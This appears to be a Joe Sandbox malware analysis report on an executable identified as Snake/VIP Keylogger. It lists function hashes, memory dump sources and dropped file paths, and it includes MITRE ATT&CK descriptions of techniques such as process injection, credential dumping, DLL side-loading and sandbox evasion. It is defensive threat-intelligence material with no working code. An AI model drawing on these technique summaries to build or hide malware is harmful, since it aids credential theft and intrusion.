Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf84955562bfb51511b99e158fc1dfa263444cf9e672db35a83bc03240e024c8
Instruction ID: 5e71843bb77444d44474af99c879f97beea966c494b168a65599386e4e7739e1
Opcode Fuzzy Hash: cf84955562bfb51511b99e158fc1dfa263444cf9e672db35a83bc03240e024c8
Instruction Fuzzy Hash: A041F374D00648CBEB18EFAAD9546DEBBF2AF89300F20C12AC818BB255DB344946CF50

Function 37365327 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0959d0464fdfdd490362085cc1587055fc0029eeb39204f858daec3b85be5c21
Instruction ID: b63886a8756a1f5e545cfc11f410766b694285ac69263476e5508317b6ad5fa4
Opcode Fuzzy Hash: 0959d0464fdfdd490362085cc1587055fc0029eeb39204f858daec3b85be5c21
Instruction Fuzzy Hash: 6F41D3B4D01608CBEB18DFAAD9446DEBBF2AF89304F20D12AC418BB259DB355946CF54

Function 37365778 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68976330e8077dd252523efefea66858605829414ba0b8f956546794339576bb
Instruction ID: 5ad4c1cb5a2bda497c109b223d4de154b3e83af45ef4830314f456c5745f2ab6
Opcode Fuzzy Hash: 68976330e8077dd252523efefea66858605829414ba0b8f956546794339576bb
Instruction Fuzzy Hash: CC41F674E01648CFEB18DFAAC9446DDBBF2AF89304F20D12AC418BB258DB345946CF50

Function 37362748 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8562ee8e4220c7ac18598b80b93ed6f504ae2969c6ee2841f3d2d33e47e61ae8
Instruction ID: af92d51f246c518718546900f9feef5fb3132f9e2791284bff757b39004c8310
Opcode Fuzzy Hash: 8562ee8e4220c7ac18598b80b93ed6f504ae2969c6ee2841f3d2d33e47e61ae8
Instruction Fuzzy Hash: 2E41E5B4D05648CBEB14DFAAC9546DEFBF2AF89304F20D12AC418BB259DB385946CF50

Function 37366A1A Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3a84b3e28720a8ab77f46e207bdb75cc6d9d1c5f71627f013ccb6c8eb3827e
Instruction ID: 6658587cadd8c4581846da50569bb08fb191b36297180c04ecef1b9a6b51793d
Opcode Fuzzy Hash: 6d3a84b3e28720a8ab77f46e207bdb75cc6d9d1c5f71627f013ccb6c8eb3827e
Instruction Fuzzy Hash: 1F4108B4D01248CBEB14CFAAD9547DEBBF2AF89304F20D12AC418BB259DB355906CF54

Function 37361E98 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90ae3a0f6d4168594ba207e3c72bb8151123b66a20a87b1a6b339f20b082813
Instruction ID: 89ee877c921decb9fc5cd7805e8bb97e9b2a4402f8ccb34ffd558752762b6158
Opcode Fuzzy Hash: b90ae3a0f6d4168594ba207e3c72bb8151123b66a20a87b1a6b339f20b082813
Instruction Fuzzy Hash: 9841F6B4E052488BEB14DFAAC9446DEFBF2AF89304F20D12AC418BB258DB345946CF54

Function 37360D3F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c308ee161c1ca64d0b5882d84cc3529372b8c06d448eacf19293d0691af48d37
Instruction ID: f64d3eda3b313c6ccc71a4e39637a2243461c062e459bbf99d96aad679d612ae
Opcode Fuzzy Hash: c308ee161c1ca64d0b5882d84cc3529372b8c06d448eacf19293d0691af48d37
Instruction Fuzzy Hash: 1341E5B4D0164CCBEB18DFAAD9446DEBBF2AF89304F20D12AC418BB259DB345946CF54

Function 373615E8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf16650acf4c84ff6fc16d54731f1ebc10ef2e4fa71d04ecf2b069a252640c45
Instruction ID: ef4ea84c0653ae694e8f3d59e54d2555757907420f5330055985adf952721a39
Opcode Fuzzy Hash: cf16650acf4c84ff6fc16d54731f1ebc10ef2e4fa71d04ecf2b069a252640c45
Instruction Fuzzy Hash: 7A41E5B4D016488BEB14CFAAC9446DDFBF2AF89304F24D129C418BB258DB345945CF54

Function 37366028 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6300f21af6d106548d6de25f3417233a15cfe077f42fdc33d26d406a9309ae9d
Instruction ID: cf94cf84e532b5318fdcef0fcdec6fa438ec13ed4d94862d40244b95dd4c3f01
Opcode Fuzzy Hash: 6300f21af6d106548d6de25f3417233a15cfe077f42fdc33d26d406a9309ae9d
Instruction Fuzzy Hash: B741E5B4E01248CBEB18DFAAD5547DDBBF2AF89304F20D12AC418BB259DB345946CF54

Function 37360488 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac53b29fb2c2b81b8f2c4f55a2b6da467c1982db3922dabef5e98593360ec13a
Instruction ID: 5cc6838243fa14a85dd7e5ef767350e5895885dc0f7187ca2c7b6f771a3d27a6
Opcode Fuzzy Hash: ac53b29fb2c2b81b8f2c4f55a2b6da467c1982db3922dabef5e98593360ec13a
Instruction Fuzzy Hash: 2641E3B4D0520CCBEB18DFAAC9546DEFBF2AF89304F20D12AC418AB258DB345946CF54

Function 373608E0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e52d882ff1d94bea152a9349325864d60c77e26be23a2d073b0bb1a55f94f319
Instruction ID: 29592e6dffd46c4e2135db381166295a38e81b7575fa97b0dfc9ae6cbeb58312
Opcode Fuzzy Hash: e52d882ff1d94bea152a9349325864d60c77e26be23a2d073b0bb1a55f94f319
Instruction Fuzzy Hash: CA410574E0124CCBEB18CFAAC9546DDBBF2AF89304F20D12AC418BB259DB345946CF54

Function 3736647F Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a117231a9ff7992115d19a9ad5ea935a92455fefc141cb4c95defe97be3d50a0
Instruction ID: 88da958e9569a393e664fd352e5d1d950fa8ef891a8cc37c6a76bf6c0cdebc65
Opcode Fuzzy Hash: a117231a9ff7992115d19a9ad5ea935a92455fefc141cb4c95defe97be3d50a0
Instruction Fuzzy Hash: 4541E5B4D01248CBEB18DFAAD9586DDBBF2AF89304F20D12AC418BB259DB345946CF04

Function 3736B0C0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f6c10633371a7f833ada4a230bceba6e52c295124c76484488e58b84f52210d
Instruction ID: 5c5c04f3cef7688ddb23bea548bf1fe0919fc89dfaacdce98034db77127fc565
Opcode Fuzzy Hash: 0f6c10633371a7f833ada4a230bceba6e52c295124c76484488e58b84f52210d
Instruction Fuzzy Hash: 5041A0B4D022199FDB00DFA8D594BAEBBF2BF49304F1094A9E414B7390E7389A45CF94

Function 37412F10 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 838fd571e9c8c7bdbdc55a3c57a7477b6a2b3738b98a07deb513396f0907e4f7
Instruction ID: c323b7bf4cb9d149cbad43362cb48ba3e3d684d350cddf695c479b4cd2a81163
Opcode Fuzzy Hash: 838fd571e9c8c7bdbdc55a3c57a7477b6a2b3738b98a07deb513396f0907e4f7
Instruction Fuzzy Hash: 5731C774E01258CBEB14DFAAD9546DDBBF2AF89300F20D12AC818BB258EB345946CF55

Function 37411931 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bb8cf962cfb92708e1bf0e5d4f6d5951d8446f19a52af6eb6f1f81d17fcb35
Instruction ID: 8522cc9a941de55d927b152c2d1efa977526ef05ecf6522106ee4b01a62f0aca
Opcode Fuzzy Hash: 92bb8cf962cfb92708e1bf0e5d4f6d5951d8446f19a52af6eb6f1f81d17fcb35
Instruction Fuzzy Hash: 3131D674E016088BEB44DFAAD9406DDBBF3AF8A300F24D12AC818BB254EB345942CF55

Function 37362BA7 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f47f7d207fe6b918e00d6a369bdc0c92d317abc6a28bc7be8217327819708d8
Instruction ID: 9badc0986bdd898baf489c86a1d2f62d00eaaf345c67318c91553e358986a804
Opcode Fuzzy Hash: 8f47f7d207fe6b918e00d6a369bdc0c92d317abc6a28bc7be8217327819708d8
Instruction Fuzzy Hash: 9B412670E05248CBEB18CFAAC9446DDBBF2AF89300F20C12AC408BB258DB385942CF04

Function 37411F71 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4cd23e73de5c37a04dc41f577585b7216d9ba4083458969036611b5cc74789
Instruction ID: 00bdbb4fb5891026400df7b41691f3509b786745f8c051dbab4b68f14b831a10
Opcode Fuzzy Hash: cf4cd23e73de5c37a04dc41f577585b7216d9ba4083458969036611b5cc74789
Instruction Fuzzy Hash: F431E474E01648CBEB08DFAAD9506DEBBF2BF89300F20D12AD818BB254DB355942CF55

Function 37363457 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7d102f8575d247776e22ee2e83125e02e1aa784d6e88d45d11b1d1d33ad828
Instruction ID: d148c80adafd3122776056f62d73e8aff2895e7442b62ecc073fef8d677d1e89
Opcode Fuzzy Hash: 6c7d102f8575d247776e22ee2e83125e02e1aa784d6e88d45d11b1d1d33ad828
Instruction Fuzzy Hash: 2D41E5B4E01248CBEB18CFAAD9546DDFBF2AF89304F20D12AC418BB259DB345946CF41

Function 37415170 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e4600262a56dc6feec91650b4d12a0ff9a6d5757dfa742c57eef9382675f0cf
Instruction ID: 58ace3f3c2b7351db8f022aec61895abd435257e70279fc207fab1235645bd5f
Opcode Fuzzy Hash: 1e4600262a56dc6feec91650b4d12a0ff9a6d5757dfa742c57eef9382675f0cf
Instruction Fuzzy Hash: 9E31C175E012588BEB04DFAAD8506DDFBF2AF89300F20D12AC818AB255EB345942CF55

Function 37414B32 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95509df885beb8428a97e8d759832ec5ba300eea7fc2f5e6825ca21b0dab0a8f
Instruction ID: 89f8636d5050bdb8211cd4e22babc28ec5e1412f2bcb6a0a3166bb2f583c8af4
Opcode Fuzzy Hash: 95509df885beb8428a97e8d759832ec5ba300eea7fc2f5e6825ca21b0dab0a8f
Instruction Fuzzy Hash: D731F474E01608CBEB14DFAAD9506EDBBF2BF89310F20D12AC818BB254EB345942CF54

Function 37416110 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae48f18e6ebd1c2f89f58df369c7164af14a890be21593f4df68b869b1a6a94
Instruction ID: f8eedcdbad382dc397fb1d4f5679850b552afb8faae43b6bc8879f4a58121dbd
Opcode Fuzzy Hash: 0ae48f18e6ebd1c2f89f58df369c7164af14a890be21593f4df68b869b1a6a94
Instruction Fuzzy Hash: CE31E774E01218CBEB04DFAAD9546EDFBF2AF89300F10D12AC418BB254DB349906CF55

Function 373685DA Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831984a10986c2a600ec1a7203b9ed35dce0d5e33adbbb820099e7f91524a10c
Instruction ID: 9b536548d84fbcf56d81713db2095ed9ff5bbaa04305221da59a093d3e3c4f1c
Opcode Fuzzy Hash: 831984a10986c2a600ec1a7203b9ed35dce0d5e33adbbb820099e7f91524a10c
Instruction Fuzzy Hash: 0C31C3B5E017188BEB18CFAAD8447DEBBF6AF88304F14D02AC408AB259DB751946DF40

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Drawing_Products_Materials_and_Samples_IMG.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Threatname: VIP Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsc21DE.tmp

C:\Users\user\AppData\Local\Temp\nsg1EA1.tmp

C:\Users\user\AppData\Local\Temp\nsi1855.tmp

C:\Users\user\AppData\Local\Temp\nsr1362.tmp

C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsz1B73.tmp

C:\Users\user\AppData\Local\jazy.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Aerolitic.opk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Agatize.Ret

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging\ssterparti.inc

Windows Analysis Report
Drawing_Products_Materials_and_Samples_IMG.exe

Function 004030EF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 324
stringfilecomCOMMON

Function 00404FC7 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 279
windowclipboardmemoryCOMMON

Function 00405B9E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 00405459 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00405859 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 00402036 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134
comCOMMON

Function 004039B9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403627 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C33 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

